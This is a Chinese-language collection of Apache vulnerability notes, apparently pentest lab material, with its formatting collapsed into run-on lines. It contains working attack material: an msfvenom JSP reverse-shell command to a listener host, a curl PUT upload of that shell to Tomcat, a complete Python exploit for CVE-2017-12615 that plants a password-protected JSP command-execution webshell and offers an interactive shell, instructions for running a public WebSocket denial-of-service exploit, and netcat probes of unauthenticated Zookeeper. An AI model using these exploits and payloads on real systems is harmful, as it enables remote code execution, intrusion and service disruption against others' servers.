Apache 漏洞总结

git clone https://github.com/immunIT/CVE-2018-11759.gitdocker-conpose up -d

https://www.codercto.com/a/56907.htmlhttp://blog.nsfocus.net/apache-mod_jk/

<servlet><servlet-name>default</servlet-name><servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class><init-param><param-name>debug</param-name><param-value>0</param-value></init-param><init-param><param-name>listings</param-name><param-value>false</param-value></init-param><init-param><param-name>readonly</param-name><param-value>false</param-value></init-param><load-on-startup>1</load-on-startup></servlet>

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.88.128 LPORT=1234 -f raw > shell.jsp 

curl -v -X PUT --data-binary @shell.jsp "http://192.168.88.135:8080/shell.jsp/"

#!/usr/bin/python3#-*- coding:utf-8 -*-# author : PeiQi# from : http://wiki.peiqi.techimport hashlibimport sysimport requestsimport randomimport redef title():print('+------------------------------------------')print('+ 33[34mPOC_Des: http://wiki.peiqi.tech 33[0m')print('+ 33[34mGithub : https://github.com/PeiQi0 33[0m')print('+ 33[34m公众号 : PeiQi文库 33[0m')print('+ 33[34mVersion: Apache Tomcat 7.0.0 - 7.0.81 33[0m')print('+ 33[36m使用格式: python3 CVE-2017-12615.py 33[0m')print('+ 33[36mUrl >>> http://xxx.xxx.xxx.xxx:8080 33[0m')print('+ 33[36mCmd >>> shell 33[0m')print('+ 33[36mCmd >>> exit(退出交互并删除webshell) 33[0m')print('+------------------------------------------')def POC_1(target_url):md5_filename = str(random.randint(1,999)).encode("utf-8")file_name = hashlib.md5(md5_filename).hexdigest()vuln_put_url = target_url + "/" + file_name + ".jsp/"headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",}data = """<%if("peiqi".equals(request.getParameter("pwd"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a = -1; byte[] b = new byte[1024]; while((a=in.read(b))!=-1){out.println(new String(b)); }} %>"""try:response = requests.request("PUT", url=vuln_put_url, data=data, headers=headers, timeout=30)if response.status_code == 201 or response.status_code == 201:print("33[32m[o] 含有CVE-2017-12615漏洞，成功上传shell，文件名为{}.jsp,响应为{}33[0m".format(file_name,response.status_code))return file_nameelse:print("33[31m[x] 漏洞利用失败,PUT方法关闭 33[0m")sys.exit(0)except:print("33[31m[x] 漏洞利用失败,PUT方法关闭 33[0m")sys.exit(0)def POC_2(target_url, file_name, cmd):vuln_cmd_url = target_url + "/" + file_name + ".jsp?" + "pwd=peiqi&cmd=" + cmdheaders = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",}try:response = requests.get(url=vuln_cmd_url, headers=headers,timeout=30)if response.status_code == 200:print("33[32m[o] 成功执行命令,响应为:n33[0m",response.text)else:print("33[31m[x] 漏洞利用失败,命令无法执行 33[0m")sys.exit(0)except:print("33[31m[x] 漏洞利用失败,命令无法执行 33[0m")sys.exit(0)def POC_3(target_url, file_name):vuln_delect_url = target_url + "/" + file_name + ".jsp/"headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",}try:response = requests.request("DELETE", url=vuln_delect_url, headers=headers, timeout=30)if response.status_code == 200 or 201:print("33[32m[o] 成功删除shell，文件名为{}.jsp,响应为{}33[0m".format(file_name,response.status_code))return file_nameelse:print("33[31m[x] 删除失败 33[0m")sys.exit(0)except:print("33[31m[x] 删除失败 33[0m")sys.exit(0)if __name__ == '__main__':title()target_url = str(input("33[35mPlease input Attack UrlnUrl >>> 33[0m"))file_name = POC_1(target_url)while True:cmd = input("33[35mCmd >>> 33[0m")if cmd == "exit":POC_3(target_url, file_name)sys.exit(0)else:POC_2(target_url, file_name, cmd)

https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&mid=2247483659&idx=1&sn=c23b3a3b3b43d70999bdbe644e79f7e5https://mp.weixin.qq.com/s?__biz=MzU3ODAyMjg4OQ==&mid=2247483805&idx=1&sn=503a3e29165d57d3c20ced671761bb5e

http://192.168.88.135:8080/examples/websocket/echo.xhtml

apt install golang-go

下载EXP：https://github.com/RedTeamPentesting/CVE-2020-13935

et/@v/v1.4.2.mod": dial tcp 172.217.27.145:443: connect: connection refused

go env -w GOPROXY=https://goproxy.cn

./tcdos ws://192.168.88.135:8080/examples/websocket/echoStreamAnnotation

wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gztar -xzvf zookeeper-3.4.14.tar.gzcd zookeeper-3.4.14/confmv zoo_sample.cfg zoo.cfg../bin/zkServer.sh start # 启动搭建成功 默认端口是2181

./zkCli.sh -server 192.168.88.128:2181

stat:列出关于性能和连接的客户端的统计信息echo stat | nc 192.168.88.128 2181ruok:测试服务器是否运行在非错误状态echo ruok | nc 192.168.88.128 2181reqa：列出未完成的请求echo reqs | nc 192.168.88.128 2181envi: 打印有关服务环境的详细信息echo envi | nc 192.168.88.128 2181dump : 列出未完成的会话和临时节点echo dump | nc 192.168.88.128 2181

https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip

https://blog.csdn.net/u011721501/article/details/44062617https://www.cnblogs.com/0nc3/p/12071281.htmlhttps://xz.aliyun.com/t/6103#toc-7https://blog.csdn.net/Aaron_Miller/article/details/106049421https://www.cnblogs.com/ilovena/p/9484522.html